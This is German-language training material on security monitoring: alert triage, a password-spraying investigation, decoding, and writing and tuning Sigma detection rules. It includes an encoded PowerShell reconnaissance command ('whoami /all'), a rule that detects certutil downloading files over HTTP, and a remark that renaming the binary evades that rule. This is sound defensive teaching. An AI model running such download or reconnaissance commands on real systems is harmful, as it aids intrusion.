Die Basisrate ist relevant, weil Angriffe unter gewöhnlichen Ereignissen selten sind. Eine Fehlauslöserate von 0,1 % bei ungefähr zwei Millionen harmlosen Ereignissen erzeugt etwa 2.000 falsche Alarmmeldungen. Selbst ein kleiner Prozentsatz kann ein Team überfordern. Aggregation, besserer Kontext und Risikobewertung können schwache Signale nützlicher machen.
Entscheide, was zuerst Aufmerksamkeit braucht
Der Schweregrad beschreibt, wie ernst die erkannte Aktivität wäre, wenn sie tatsächlich vorliegt. Die Priorität bestimmt anhand von Schweregrad, Vertrauensgrad und Kritikalität des Assets oder Benutzers die Bearbeitungsreihenfolge. Eine Alarmmeldung mittleren Schweregrads auf einem Domänencontroller kann dringender sein als eine Meldung hohen Schweregrads auf einem isolierten Testrechner.
Wiederholte Alarmmeldungen mit geringem Nutzen erzeugen Alarmmüdigkeit: Analysten überfliegen Meldungen, und echte Angriffe werden leichter übersehen. Jede Alarmmeldung in der Warteschlange sollte eine Handlung oder Entscheidung unterstützen. Halte Beobachtungen, die keine Handlung ermöglichen, in Protokollen oder Dashboards verfügbar. Dokumentiere Belege und Gründe für den Abschluss, damit die Verantwortlichen bei der Feinabstimmung schlechtes Parsing, autorisiertes Verhalten, doppelte Ausgaben und tatsächliche bösartige Erkennungen unterscheiden können.
Wichtige Erkenntnisse
- Unterscheide falsch positive Ergebnisse von autorisierten Treffern.
- Die Präzision der Alarmmeldungen setzt bösartige Alarmmeldungen ins Verhältnis zu allen Alarmmeldungen.
- Für die Sensitivität braucht man Belege zu erkannten und übersehenen bösartigen Fällen.
- Priorisiere anhand von Vertrauensgrad und Kritikalität sowie Schweregrad.
5.2 Von der Alarmmeldung zu einer klaren Übergabe gelangen
Triage ist die erste Bewertung, ob eine Alarmmeldung auf eine tatsächliche Aktivität hinweist, wie dringend sie ist und was als Nächstes geschehen soll. Arbeite innerhalb der Reaktionsziele des Teams und entscheide anhand der Priorität, welche Alarmmeldung du zuerst untersuchst.
Folge einem wiederholbaren Ablauf
- Verstehen. Lies Zweck und Logik der Regel, Entitäten, Zeitraum und Runbook. Kenne das Verhalten, das die Regel erkennen soll, und die erwarteten harmlosen Ursachen.
- Validieren. Öffne die Rohereignisse. Prüfe Parsing, Zeitstempel, Host und Identität, Ereignisergebnis, Duplikate und Testdaten. Ein überzeugender Titel kann eine falsche Quellfeldzuordnung nicht beheben.
- Kontext ergänzen. Prüfe Asset-Rolle und -Eigentümer, Berechtigungen, normale Aktivitäten, Änderungstickets, geplante Tests, Indikatorreputation und frühere Abschlüsse.
- Ausmaß ermitteln. Suche nach zugehörigen Hosts, Benutzern, Zielen, Hashwerten und Alarmmeldungen vor und nach dem Treffer. Erstelle eine kurze Zeitleiste in UTC.
- Entscheiden und dokumentieren. Schließe mit einem belegten Ergebnis ab, beobachte mit Begründung weiter oder eskaliere einen vermuteten Sicherheitsvorfall.
Ein behauptetes Wartungsfenster benötigt einen passenden Genehmigungseintrag. Ein bekanntes Administratorkonto kann selbst kompromittiert sein. Kontextprüfungen sollten die plausible Erklärung überprüfen, statt sie einfach zu übernehmen.
Bearbeite die Alarmmeldung zu Password Spraying
Die Alarmmeldung berichtet, dass 198.51.100.77 von 10:00 bis 10:20 Uhr UTC Anmeldeversuche gegen 46 Konten unternimmt. Rohe 4625-Datensätze zeigen 41 Ergebnisse mit falschem Passwort und fünf mit unbekanntem Benutzer, alle vom Typ 3. Die Adresse gehört nicht zu einem autorisierten Scanner und es ist kein Penetrationstest geplant.
Suche nach Erfolgen vom selben Ursprung im selben Zeitraum. Ein 4624-Ereignis für m.tanaka erscheint um 10:21 Uhr, gefolgt von Postfachzugriff um 10:24 Uhr. Diese Folgeereignisse erhöhen Vertrauensgrad und Dringlichkeit gegenüber einer Reihe blockierter Rateversuche. Dokumentiere, welches Konto erfolgreich war und bei welchen Konten kein Erfolg beobachtet wurde. Das Fehlen eines Erfolgs in den verfügbaren Protokollen muss auf diesen Suchumfang bezogen bleiben.
Die Entscheidung lautet, die Aktivität als bösartig mit hoher Priorität zu eskalieren. Hänge Rohdatensätze, Abfragen, Genehmigungsprüfungen und Zeitleiste an. Reputationsberichte stützen die Entscheidung, die verknüpften Authentifizierungs- und Postfachaktionen bilden aber den Hauptbeleg.
Hinterlasse eine Dokumentation für andere Analysten
Eine Abschlussdokumentation nennt die geprüften Punkte, relevante Ereignis-IDs und Zeiten, den Suchumfang, unterstützende Belege, die Begründung und das Ergebnis. Gib bei einem gutartigen richtig positiven Ergebnis den Genehmigungsverweis und die bestätigende Person an. Erkläre bei einem falsch positiven Ergebnis die fehlende Übereinstimmung und stelle bei Wiederholung eine Anfrage zur Feinabstimmung.
Eine Übergabe bei der Eskalation nennt, was wann geschah, betroffene Entitäten, Belege, bewerteten Schweregrad und Vertrauensgrad, offene Fragen und unmittelbare Risiken wie eine aktive Sitzung oder eine laufende ausgehende Übertragung. Das Team zur Behandlung von Sicherheitsvorfällen muss beobachtete Tatsachen von Hypothesen unterscheiden können. Wenn die Auswirkungen hoch sein könnten und wesentliche Zweifel bestehen, eskaliere und benenne die Unsicherheit klar, statt auf jede mögliche Prüfung zu warten.
Setze für Aufgaben niedriger Priorität ein Zeitlimit, damit sie kritische Alarmmeldungen nicht verdrängen. Speichere genügend Details zu Abfragen und Ergebnissen, damit der nächste Analyst die Suche wiederholen und anhand derselben Belege fortfahren kann.
Wichtige Erkenntnisse
- Verstehe die Regel und validiere sie anhand der Rohbelege.
- Prüfe Genehmigung und erwartete Aktivität, bevor du eine harmlose Erklärung akzeptierst.
- Ermittle das Ausmaß von Erfolgen und Folgeaktivitäten, nicht nur von Fehlversuchen.
- Halte Belege, Begründung, Ergebnis und verbleibende Unsicherheit fest.
- Eskaliere Bedenken zu möglichen schwerwiegenden Auswirkungen mit einer knappen, nutzbaren Übergabe.
5.3 Sorgfältig suchen, Pivoting durchführen und dekodieren
Eine gute Untersuchungsabfrage beantwortet eine konkrete Frage. Beginne mit der Zeit und Entität der Alarmmeldung, wähle nützliche Felder und sortiere nach Ereigniszeitpunkt. Erweitere die Suche, wenn ein Ergebnis dir dafür einen Grund gibt.
Gehe von einem Hinweis zu verwandten Belegen über
Eine herstellerneutrale Abfrage könnte nach Authentifizierungsereignissen von 198.51.100.77 über 24 Stunden fragen, gruppiert nach user.name und event.outcome. Zählungen zeigen das Ausmaß; die Rohzeilen belegen genaue Aktionen und Zeiten. Eine einzige Suche über Monate und alle Quellen ist oft langsam und schwer zu interpretieren.
Pivoting folgt einer Beziehung: von der Adresse zu den Hosts, die sie kontaktierten, vom Host zum auslösenden Prozess, vom Prozess zum Benutzer und vom Benutzer zu Anmeldungen. Notiere bei jedem Schritt Abfrage, Zeitgrenzen, Kennungen und Ergebnis. Gleiche Prozesskennungen und Ereigniszeiten ab, wo sie verfügbar sind; eine wiederverwendete Adresse oder Prozessnummer kann sonst eine falsche Verknüpfung erzeugen.
Dekodiere ohne Ausführung
| Kodierung | Hinweis | Beispiel |
|---|---|---|
| Base64 | Buchstaben, Ziffern, +, /, manchmal = als Auffüllzeichen | Kodierter Befehlstext |
| Prozentkodierung | % und zwei Hexadezimalziffern | %27 ist ein Apostroph |
| Hexadezimal | Paare von Hexadezimalziffern | 636d642e657865 ist cmd.exe |
PowerShell -EncodedCommand verwendet Base64-kodierten UTF-16LE-Text. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== ergibt dekodiert whoami /all. Wähle nach dem Dekodieren der Bytes die richtige Textkodierung. Ein Werkzeug wie CyberChef kann Schritte verketten; dokumentiere die Schichten und bewahre den ursprünglichen Wert auf. Die Dekodierung macht Text zur Prüfung sichtbar; der Befehl muss dafür nicht ausgeführt werden.
Ergänze externen Kontext sicher
Registrierungsinformationen, Domänenalter, Netzwerkzugehörigkeit, geografische Zuordnung, IP-Reputation, Hashwertabfragen und vorhandene Sandbox-Berichte können die nächste Suche leiten. Eine kürzlich registrierte Domäne oder eine gemeldete Adresse aus einer gemeinsam genutzten Cloud benötigt weitere Belege. Eine unauffällige Reputation kann auf eine neue oder selten beobachtete Bedrohung zurückgehen.
Schütze Untersuchungsdaten: Verwende freigegebene Abfragewerkzeuge und isolierte Sandboxes, frage einen Hashwert ab, statt eine sensible Datei zu einem öffentlichen Scanner hochzuladen, und vermeide direkte Aufrufe verdächtiger Infrastruktur aus dem Unternehmensnetzwerk. Öffentliche Uploads können vertrauliche Dateien offenlegen oder einem Angreifer eine Untersuchung verraten.
KI-Assistenten können Protokolle zusammenfassen, Befehle erklären oder Suchen entwerfen. Prüfe ihre vorgeschlagenen Felder und Schlussfolgerungen anhand von Rohereignissen und Dokumentation. Verwende Werkzeuge, die die Datenrichtlinie der Organisation erlaubt. Behandle von Angreifern kontrollierte Protokollzeichenfolgen, einschließlich User-Agents und Dateinamen, als Daten, auch wenn sie Anweisungen an ein KI-System enthalten.
Halte Listen von Entitäten auseinander
Ein Proxy-Pivot ausgehend von einem Host findet drei weitere, die dieselbe Adresse kontaktieren: Vier Hosts hatten Kontakt. Eine E-Mail-Suche findet 14 Empfänger eines Dokuments. Das sind unterschiedliche Gruppen. Bestätige die Ausführung auf den Hosts anhand von Endgerätebelegen und ordne Empfänger ihren Geräten zu, bevor du den Untersuchungsumfang erweiterst. Netzwerkkontakt allein lässt die Ausführung offen, und die Anzahl der Hosts von der Anzahl der Empfänger abzuziehen, ergibt kein aussagekräftiges Ergebnis.
Wichtige Erkenntnisse
- Beginne eng und erweitere Suchen anhand von Belegen.
- Dokumentiere Pivot-Abfragen, Kennungen, Zeitgrenzen und Ergebnisse.
- Dekodiere jede Schicht mit der richtigen Zeichenkodierung.
- Verwende freigegebene Reputations- und Analysewerkzeuge, die sensible Daten schützen.
- Prüfe KI-Ausgaben und behandle Protokolltext als nicht vertrauenswürdige Daten.
- Unterscheide Netzwerkkontakt, Dateizustellung und bestätigte Ausführung.
6Erkennungsregeln entwickeln, die nützlich bleiben
Eine Erkennungsregel muss gepflegt werden; sie wird nicht einmal geschrieben und dann vergessen. Beginne mit einem relevanten Verhalten und den Daten, die es aufdecken können, und teste vor der Bereitstellung sowohl die Erkennung als auch normale Aktivitäten. Nutze danach Triage-Ergebnisse, um die Logik zu verfeinern, halte Ausschlüsse eng und wiederhole Tests, wenn sich Regeln oder Daten ändern. Qualität entsteht, wenn relevante Verhaltensweisen mit Belegen erkannt werden, auf deren Grundlage Analysten handeln können.
6.1 Eine verhaltensbasierte Erkennungsregel schreiben und testen
Detection Engineering behandelt Regeln als wiederholbaren Prozess aus Entwurf, Tests und Pflege. Bei Detection as Code liegen sie mit Überprüfung und automatisierten Prüfungen in der Versionsverwaltung, sodass eine Änderung erklärt und nachvollzogen werden kann.
Beginne mit Verhalten und Daten
Leite die Anforderung aus einer relevanten Bedrohung, einem Sicherheitsvorfall, einer ATT&CK-Technik, einem Red-Team-Befund oder einer bekannten Lücke ab. Bestimme die Quelle und Felder, die das Verhalten zeigen. Bestätige Erfassung, Parsing und Normalisierung, bevor du die Logik schreibst. Schreibe, teste, dokumentiere, implementiere, stimme die Erkennungsregel fein ab, überprüfe sie und nimm sie schließlich außer Betrieb.
Atomare Indikatoren wie ein einzelner Datei-Hashwert können ein bekanntes Artefakt schnell identifizieren. Verhaltensregeln, etwa für ein Office-Programm, das einen Skriptinterpreter startet, überstehen mehr Änderungen am Artefakt. Ordne das Verhalten relevanten ATT&CK-Techniken zu, zum Beispiel T1059.001 für PowerShell oder T1105 für die Übertragung von Werkzeugen ins Zielsystem. Eine Kennzeichnung hält die beabsichtigte Abdeckung fest; ein erfolgreicher Test belegt, dass die lokale Implementierung das Verhalten tatsächlich erkennt.
Lies eine Sigma-Regel
Sigma ist ein übertragbares YAML-Erkennungsformat. Eine Regel hat title, logsource und detection. Attribute der Protokollquelle wie product, category und service wählen geeignete Daten aus; verwende die Kombination, die die Quelle identifiziert. Benannte Selektionen beschreiben Treffer und condition kombiniert sie. Mehrere Felder in einer Selektion verwenden UND; eine Liste von Werten verwendet normalerweise ODER. Modifikatoren wie contains, endswith und all ändern den Abgleich.
title: Certutil Download Activity
logsource:
product: windows
category: process_creation
detection:
selection_img:
Image|endswith: '\certutil.exe'
selection_cli:
CommandLine|contains|all:
- 'urlcache'
- 'http'
condition: selection_img and selection_cli
falsepositives:
- Administrative file download
level: high
tags:
- attack.t1105
Diese Regel verlangt, dass der Pfad der ausführbaren Datei auf \certutil.exe endet und die Befehlszeile sowohl urlcache als auch http enthält. Sie benötigt Prozesserstellungsereignisse mit Befehlszeilen, etwa Sysmon 1 oder ein passend konfiguriertes 4688. Konvertiere sie und prüfe sie anhand der Feldzuordnungen des Backends. Das Umbenennen der ausführbaren Datei kann gerade diese Image-Prüfung umgehen; dokumentiere daher diese Einschränkung.
Teste und mache die Alarmmeldung nutzbar
Spiele Ereignisse, die bösartigen Aktivitäten ähneln, erneut ab oder führe genehmigte sichere Simulationen in einer Testumgebung durch. Bestätige die erwartete Alarmmeldung und ihre Entitätsfelder. Werte historische normale Daten aus, beispielsweise 30 Tage, um irrelevante Meldungen abzuschätzen. Beziehe Grenzfälle ein: Groß- und Kleinschreibung, Anführungszeichen, Abstände, fehlende Felder, umbenannte Werkzeuge und plausible administrative Nutzungen. Ein Test, der einmal auslöst, belegt weniger als ein positiver Test zusammen mit Grenzfalltests und Tests auf irrelevante Meldungen.
Dokumentiere Zweck, benötigte Quellen, Logik, ATT&CK-Zuordnung, Schweregrad, bekannte harmlose Ursachen, Triage-Schritte, Testnachweise, erwartetes Volumen, Verantwortlichen und Überprüfungsdatum. Eine Einführung nur im Überwachungsmodus ermöglicht dem Team, reale Ausgaben zu prüfen, bevor es sich im Betrieb darauf verlässt. Regeln brauchen einen Verantwortlichen, der reagiert, wenn sich Quelllayouts oder geschäftliche Aktivitäten ändern.
Wichtige Erkenntnisse
- Prüfe Quelldaten, bevor du die Logik entwirfst.
- Bevorzuge dauerhaft erkennbares Verhalten und behalte nützliche atomare Abgleiche bei.
- Lies Sigma-Selektionen und -Bedingungen als explizite Logik.
- Teste Fälle, die bösartigen Aktivitäten ähneln, normale Fälle und Grenzfälle.
- Dokumentiere Verantwortlichkeit, Datenabhängigkeiten und Triage-Hinweise.
6.2 Irrelevante Meldungen reduzieren und das Verhalten weiterhin erkennen
Feinabstimmung verändert Regellogik, Schwellenwerte, Geltungsbereich oder Kontext, damit Alarmmeldungen eher eine Handlung ermöglichen und die beabsichtigte Erkennung erhalten bleibt. Beginne mit Abschlussdokumentationen: Schlechtes Parsing, autorisiertes Verhalten und wiederholte Ausgaben benötigen unterschiedliche Lösungen.
Wähle eine zur Ursache passende Änderung
Verwende für bekanntes autorisiertes Verhalten eine eng gefasste Ausnahme. Ergänze für nicht zusammengehörige Ereignisse eine aussagekräftige Bedingung wie Elternprozess, vollständigen Pfad, Befehlszeilenelement, Identitätsrolle oder Asset-Kontext. Passe Schwellenwerte und Zeitfenster an gemessene Aktivitäten an. Gruppiere wiederholte Treffer zu einer Alarmmeldung pro Entität und Zeitraum. Ein schwaches Signal kann zur Risikobewertung beitragen, statt einen separaten Eintrag in der Warteschlange zu erzeugen.
Ausschlüsse brauchen einen Verantwortlichen, einen Grund und ein Überprüfungs- oder Ablaufdatum. Schließe die konkrete Adresse und Identität eines Scanners für die Scanregel gemäß seinem genehmigten Zeitplan aus. Ein Ausschluss von ganz 10.0.0.0/8 würde die Regel für interne Angriffe blind machen. Eine Ausnahme für Datensicherungen sollte einen vertrauenswürdigen vollständigen Pfad und Signaturgeber verwenden; Schadsoftware kann einen Dateinamen wie backup.exe übernehmen. Ein ganzer beschreibbarer Ordner wie C:\Temp\ ist eine unsichere Abkürzung.
Miss die durchgearbeitete Änderung
Eine Scanregel erzeugt in einem Monat 200 Alarmmeldungen; sechs werden als bösartig bestätigt. Die Präzision der Alarmmeldungen beträgt 3 %. Die Triage findet 150 Treffer des autorisierten Scanners von 10.0.9.15 während seines Scanfensters. Wird diese Quelle für diese Regel und dieses Fenster ausgeschlossen, bleiben 50 Alarmmeldungen, darunter dieselben sechs bösartigen:
Das Volumen sinkt um 75 %. Die beobachteten bösartigen Erkennungen bleiben erhalten, und Scans dieses Hosts außerhalb seines Fensters lösen weiterhin Alarmmeldungen aus. Dieses rückblickende Ergebnis deckt nicht jeden zukünftigen Angriffsweg ab; teste auch bösartige Aktivitäten nahe der Ausschlussgrenze, einschließlich eines möglichen Missbrauchs eines freigegebenen Systems.
Eine Erhöhung des Fehlversuchsschwellenwerts von 10 auf 50 in fünf Minuten kann gewöhnliche Wiederholungsversuche unterdrücken, übersieht aber auch Angriffe zwischen diesen Werten. Das Deaktivieren der Regel beseitigt ihre Abdeckung vollständig. Wiederhole nach jeder Feinabstimmung positive Tests und prüfe, welche zuvor erkannten Fälle nun wegfallen.
Halte Qualität und Datenstatus sichtbar
Überwache das Volumen pro Regel, bestätigte bösartige Erkennungen, Präzision und bekannte übersehene Fälle. Eine Falsch-Positiv-Rate braucht einen definierten Nenner; der Anteil der als falsch positiv geschlossenen Alarmmeldungen ist eine andere Kennzahl als die Rate über harmlose Ereignisse hinweg. Dokumentiere, welche Kennzahl das Team berichtet.
Die mittlere Erkennungszeit misst die Verzögerung vom Beginn der bösartigen Aktivität bis zur Erkennung. Die mittlere Reaktionszeit erfasst das vom Team definierte Reaktionsintervall. Halte diese Definition beim Vergleich von Zeiträumen einheitlich. Überprüfe die getestete Abdeckung priorisierter ATT&CK-Techniken zusammen mit Quellenstatus, fehlenden Feldern, Parsing-Fehlern und Rückstaus. Eine niedrigere Anzahl von Alarmmeldungen nach einem Parserausfall ist ein Überwachungsfehler.
Teste nach Änderungen an Quellen oder Parsern erneut, überprüfe auslaufende Ausnahmen, nimm veraltete Regeln außer Betrieb und ergänze Erkennungsregeln für neu relevante Verhaltensweisen. Purple-Team-Übungen und Breach-and-Attack-Simulationen können Lücken aufdecken, bevor ein tatsächlicher Sicherheitsvorfall dies tut. Speichere Änderungen und Testergebnisse zusammen mit der Regel, damit bei der nächsten Überprüfung sichtbar ist, warum ihre aktuellen Grenzen bestehen.
Wichtige Erkenntnisse
- Stimme anhand dokumentierter Ursachen fein ab, nicht allein anhand der Anzahl von Alarmmeldungen.
- Begrenze Ausschlüsse nach Verhalten, Entität, Kontext und Zeit.
- Vergleiche Präzision und erhaltene Erkennungen vor und nach Änderungen.
- Wiederhole positive Tests und Grenzfalltests nach der Feinabstimmung.
- Überwache den Datenstatus zusammen mit Alarm- und Abdeckungskennzahlen.
- Überprüfe Ausnahmen und nimm Regeln außer Betrieb, wenn ihr Zweck entfällt.
Sicherheitsüberwachung: Beispiele
1Eine vertrauenswürdige Protokollspur vorbereiten
17 Schritte
- 1EinführungBeginne mit einer Sicherheitsfrage
Eine Proxy-Alarmmeldung nennt eine interne Adresse, die eine ausführbare Datei heruntergeladen hat. Bevor du den Download beurteilst, musst du wissen, welches Gerät die Adresse hatte, was darauf ausgeführt wurde und ob die relevanten Ereignisse unverändert eingetroffen sind.
Verfolge die Belege von der Quelle bis zu einem durchsuchbaren Datensatz mit Kontext: Parse Roheinträge in Felder, bestätige die Zustellung, mache Feldnamen vergleichbar und ergänze Kontext durch Datenanreicherung. Jede Entscheidung bestimmt, was die spätere Untersuchung feststellen kann.
- 2ErklärungWähle sich ergänzende Sichten
Der Proxy zeigt die Anfrage und das Ziel. DHCP identifiziert das Gerät, das die interne Adresse während der Anfrage hatte. Host-Prozessereignisse zeigen, was ausgeführt wurde.
Diese Quellen beantworten unterschiedliche Fragen. Ein Flow-Datensatz kann Zeiten und Gesamtbytes für verschlüsselten Datenverkehr ergänzen, aber ohne Nutzdaten bleibt der heruntergeladene Inhalt ungeklärt.
- 3BeispielErmittle das damalige Gerät
Der Proxy-Download erfolgt um 14:02 Uhr UTC von
10.20.30.45. Ein DHCP-Lease weist diese Adresse an diesem Tag von 13:30 bis 21:30 UhrLAPTOP-0193zu.Nutze diesen Laptop als Ausgangspunkt für das Host-Pivoting. Eine Abfrage des aktuellen Lease könnte nach einer Neuzuweisung ein anderes Gerät nennen, obwohl die Adresszeichenfolge unverändert ist.
- 4HerausforderungWähle Belege für die Ausführung
Die Adresse ist nun mit einem Laptop verknüpft. Welche Quelle würde beantworten, ob nach dem Download ein Programm ausgeführt wurde?
---reveal---
Nutze Prozesserstellungs- oder EDR-Telemetrie auf diesem Laptop. Windows
4688benötigt eine geeignete Überwachung und Befehlszeilenerfassung; Sysmon1bietet eine weitere Prozesssicht. Die Proxy-Anfrage allein belegt eine Download-Anfrage, keine lokale Ausführung. - 5ErklärungLies Felder vor der Schlussfolgerung
Ein Roheintrag muss in die Felder zerlegt werden, die die Suche benötigt. Verwende in JSON benannte Schlüssel, auch wenn sich ihre Reihenfolge ändert. Lies bei Windows-Ereignissen die ereignisspezifischen Felder zusammen mit Anbieter, Ereignis-ID, Zeit und Computer.
Bei
4625erklären Benutzer, Quelle, Anmeldetyp und Fehlergrund weit mehr als die Formulierung „Anmeldung fehlgeschlagen“ allein. - 6BeispielExtrahiere den SSH-Benutzernamen
In der Zeile
Failed password for invalid user admin from 203.0.113.45 port 52114lautet der Benutzernameadmin.Das Regex-Fragment
(?:invalid user )?(\S+)macht das Präfix optional und erfasst den anschließenden Benutzernamen ohne Leerraumzeichen. Ohne diese Unterscheidung könnte eine einfache Worterfassung nach „for“invalidzurückgeben. Bewahre beim Testen des Parsers Rohbeispiele für beide Meldungsformen auf. - 7HerausforderungInterpretiere einen Quellschweregrad
Eine Meldung beginnt mit
<38>. Rechtfertigt ihr Schweregrad Informational, eine fehlgeschlagene Anmeldung zu ignorieren?---reveal---
Nein. Die Division von 38 durch 8 ergibt Facility 4 und den Schweregradrest 6, Informational. Das sendende Programm bewertet das Ereignis, aber ein Analyst kann diesen Fehlversuch dennoch mit einem Passwortangriff in Verbindung bringen. Der Schweregrad der Quelle ersetzt nicht das Sicherheitsmuster.
- 8ErklärungHalte die Zustellung aufrecht
Ein Agent kann zwischenspeichern, während ein Kollektor nicht verfügbar ist. Auch agentenlose Wege wie Weiterleitung und Cloud-Exporte benötigen Statusprüfungen.
UDP-Syslog auf
514bietet weder Zustellbestätigung noch Verschlüsselung. TCP verbessert die Zuverlässigkeit der Zustellung; TLS auf6514ergänzt Verschlüsselung und Serverauthentifizierung. Schütze den Transport über nicht vertrauenswürdige Netzwerke und überwache wachsende Rückstaus. - 9BeispielBringe Uhren auf dieselbe Zeitleiste
Die Firewall schreibt
2026-03-14 10:15:00 +02:00; der Server schreibt2026-03-14T08:15:00Z. Beide beziehen sich auf denselben Zeitpunkt. Rechne Versätze vor dem Sortieren um.Unterscheide anschließend den Ereigniszeitstempel vom Eingang bei der Plattform. Ein verspätet eintreffendes Ereignis kann dennoch früher in die Abfolge gehören; eine synchronisierte Quelluhr hilft, diese Reihenfolge zu bewahren.
- 10BeispielSchätze das Rohvolumen
Multipliziere für 2.000 Endgeräte täglich 5.000 Ereignisse pro Host mit 500 Byte pro Ereignis. Das sind 2.500.000 Byte pro Endgerät und Tag.
Über alle Geräte hinweg sind es 5.000.000.000 Byte oder 5 GB/Tag in dezimalen Einheiten. Neunzig Tage ergeben 450 GB vor Komprimierung, Indexierung und anderen Auswirkungen der Speicherung. Entscheidungen über Aufbewahrungsdauer und Detailgrad wirken sich unmittelbar auf die Speicherkosten aus.
- 11HerausforderungUntersuche fehlende Belege
Ein Domänencontroller, der normalerweise jede Minute Ereignisse sendet, hat seit 30 Minuten nichts gesendet. Es wurden keine Angriffsalarmmeldungen ausgelöst. Was braucht Aufmerksamkeit?
---reveal---
Prüfe den Status der Erfassung: Host, Agent, Transport, Kollektor, Warteschlangen und Parsing-Pfad. Das Ausbleiben kann auf einen Fehler oder deaktivierte Protokollierung zurückgehen. Eine ruhige Alarmwarteschlange kann keine normale Aktivität belegen, wenn die zugrunde liegende Quelle fehlt.
- 12ErklärungMache gleichartige Felder vergleichbar
Windows nennt eine Adresse
IpAddress, eine Firewall möglicherweisesrcund CloudTrail verwendetsourceIPAddress. Normalisiere sie nur dann aufsource.ip, wenn jedes Feld die Quelle der Aktion bezeichnet.Vereinheitliche auch Typen, Ergebnisse, Identitäten und UTC-Zeit. Ein gemeinsamer Feldname mit falscher Bedeutung kann ebenso leicht die falschen Entitäten verknüpfen, wie uneinheitliche Namen eine Verknüpfung verhindern können.
- 13BeispielErgänze die Rolle hinter dem Konto
Wiederholte Fehlversuche für
svc-backupsehen anders aus, nachdem die Datenanreicherung die Quelle als Marketing-Laptop identifiziert hat. Das Konto meldet sich normalerweise nur vom Backupserver aus an.Asset-Rolle und Identitätsrolle zeigen eine unerwartete Beziehung. Die Anzahl der Fehlversuche allein würde nicht zeigen, warum diese Kombination aus Quelle und Konto eine Untersuchung verdient.
- 14HerausforderungPrüfe, wann der Kontext zutraf
Ein altes Ereignis wird mit dem heutigen Eigentümer eines Geräts angereichert. Das Gerät hat nach dem Ereignis den Eigentümer gewechselt. Was sollte geprüft werden?
---reveal---
Nutze die Eigentümerhistorie, die zum Ereigniszeitpunkt galt. Die Anreicherung bei der Suche kann den aktuellen Stand zeigen; die Anreicherung bei der Erfassung bewahrt den bei Eingang verfügbaren Kontext. Wenn du weißt, welche Form du siehst, verwechselst du eine spätere Zuweisung nicht mit früherem Eigentum.
- 15TippSchütze die zentrale Aufzeichnung
Leite Protokolle schnell von Hosts weg weiter und beschränke, wer sie lesen, ändern oder löschen darf. Unveränderlicher Speicher oder kryptografische Prüfsummen können die Integrität schützen.
Überwache die Überwachung selbst: Windows
1102, Änderungen an der Überwachungsrichtlinie oder Cloud-Aktionen wieStopLoggingkönnen erklären, warum die Sichtbarkeit verloren ging. Lege außerdem die Aufbewahrungsdauer gezielt fest, damit ältere Aktivitäten zu Beginn einer Untersuchung verfügbar bleiben. - 16HerausforderungRepariere die Pipeline vor der Feinabstimmung
Eine neue quellenübergreifende Regel beschuldigt den Zielserver, Verbindungen aufzubauen. Die Roheinträge sind korrekt, aber das gemeinsame Quellfeld enthält das Ziel. Sollte der Schwellenwert erhöht werden?
---reveal---
Repariere die Feldzuordnung und spiele Beispiele erneut durch die Pipeline. Ein höherer Schwellenwert würde einen Teil der Ausgabe verbergen, ohne die korrekte Zuordnung wiederherzustellen. Die Regel hängt davon ab, dass die aufbereiteten Daten die Bedeutung des Rohereignisses behalten.
- 17ZusammenfassungPrüfe die Pipeline, bevor du dich auf eine Regel verlässt
Prüfe vor dem operativen Einsatz einer Erkennungsregel einen vollständigen Belegpfad: Die benötigte Aktivität wird aufgezeichnet, die Zustellung überwacht, Zeitstempel stimmen überein, Felder entsprechen dem Rohereignis und der Kontext passt zum Ereigniszeitpunkt.
Speichere repräsentative Beispiele für spätere Parseränderungen. Sie geben der nächsten prüfenden Person eine konkrete Vergleichsgrundlage, wenn sich die Ausgabe unerwartet ändert.
2Netzwerkhinweise mit Host- und Webaktivität verbinden
15 Schritte
Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.
- 1EinführungSuche nach verknüpften Aktionen
- 2ErklärungLies die Scanrichtung
- 3BeispielMiss regelmäßigen Kontakt
- 4ErklärungInterpretiere ungewöhnliche DNS-Aktivität
- 5HerausforderungPrüfe die Erklärung für die Übertragung
- 6BeispielLies eine Prozessbeziehung
- 7BeispielDekodiere, was der Interpreter tut
- 8BeispielFinde den Persistenzschritt
- 9HerausforderungWähle die belegte Schlussfolgerung
- 10BeispielMache den Anfragetext sichtbar
- 11BeispielVerfolge die Erkundung bis zu einer späteren Anfrage
- 12HerausforderungPrüfe die Bedeutung der Antwort
- 13VerbindungVerbinde eine Webanfrage mit der Ausführung
- 14HerausforderungLass dich nicht von gemeinsam genutzten Adressen täuschen
- 15ZusammenfassungHalte fest, was jede Quelle belegt
3Zugriffe bis zu Cloud- und Berechtigungsänderungen verfolgen
16 Schritte
Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.
- 1EinführungVerfolge die Identität anhand ihrer Aktionen
- 2ErklärungWähle die Cloud-Ebene
- 3BeispielLies den ersten unerwarteten Aufruf
- 4BeispielVerfolge die Auflistung bis zum fortgesetzten Zugriff
- 5HerausforderungUnterscheide zwei Arten fehlender Belege
- 6ErklärungWähle die Authentifizierungssicht
- 7BeispielErkenne die Breite eines Password Spraying
- 8BeispielUntersuche den Erfolg gesondert weiter
- 9HerausforderungInterpretiere die Alarmmeldung zur Reise
- 10KernaussageSchau über die MFA-Kennzeichnung hinaus
- 11ErklärungBestimme, wer was geändert hat
- 12BeispielVerfolge die Berechtigungskette
- 13HerausforderungFinde Zugriff, der eine Passwortänderung überdauert
- 14TippVermeide irrelevante Meldungen zu Routineberechtigungen
- 15HerausforderungVerbinde Aktivitäten, ohne zu viel zu behaupten
- 16ZusammenfassungFühre eine Checkliste für Zugriffsänderungen
4Eine Baseline und eine Korrelationsregel erstellen
13 Schritte
Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.
- 1EinführungBestimme, warum die Aktivität auffallen soll
- 2ErklärungErstelle die richtige Referenz
- 3BeispielMiss die Abweichung des Servers
- 4TippPrüfe die Verteilung
- 5HerausforderungInterpretiere einen aufsummierten Risikowert
- 6ErklärungLege die Anforderung an die Sequenz fest
- 7BeispielZähle und verknüpfe die Beispielereignisse
- 8ErklärungPrüfe die Zeitfenstergrenze
- 9HerausforderungBehebe einen verpassten Treffer an der Zeitfenstergrenze
- 10TippBerücksichtige verspätete Datensätze
- 11ErklärungBetrachte verteilte Versuche gemeinsam
- 12HerausforderungKombiniere Baseline- und Regelprüfungen
- 13ZusammenfassungHalte eine kompakte Regelspezifikation fest
5Eine Alarmmeldung in eine dokumentierte Entscheidung überführen
14 Schritte
Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.
